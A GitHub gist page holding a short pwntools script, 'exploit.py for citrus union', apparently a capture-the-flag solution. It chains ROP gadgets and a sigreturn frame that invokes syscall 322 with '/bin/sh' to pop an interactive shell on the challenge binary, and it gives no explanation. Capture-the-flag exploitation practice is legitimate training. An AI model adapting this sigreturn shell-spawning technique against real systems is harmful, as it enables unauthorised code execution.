Created
February 14, 2021 06:30
-
-
Save chop0/421489e2e99a8724ec7cf38254249eb5 to your computer and use it in GitHub Desktop.
exploit.py for citrus union
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
io = start() | |
zero_rsi = 0x400134 | |
add_rsi = 0x400126 | |
syscall = 0x400123 | |
read = 0x40011c | |
# shellcode = asm(shellcraft.sh()) | |
# payload = fit({ | |
# 32: 0xdeadbeef, | |
# 'iaaa': [1, 2, 'Hello', 3] | |
# }, length=128) | |
# io.send(payload) | |
# flag = io.recv(...) | |
# log.success(flag) | |
buf = p64(zero_rsi) | |
buf += p64(add_rsi)*10 | |
buf += p64(read) | |
buf += p64(syscall) | |
#f = open("o", "wb") | |
#f.write(buf) | |
#f.close() | |
print("lemon") | |
frame =SigreturnFrame() | |
frame.rax = 322 | |
frame.rdi = 0 | |
frame.rsi = 0xccccccc9666*10 | |
frame.rdx = (0xccccccc9666*10)+100 | |
frame.rip = syscall | |
buf += bytes(frame) | |
io.sendline(buf) | |
import time | |
time.sleep(0.1) | |
buf = b"/bin/sh\x00" | |
buf += b"A"*(0xf-len(buf)) | |
io.send(buf) | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment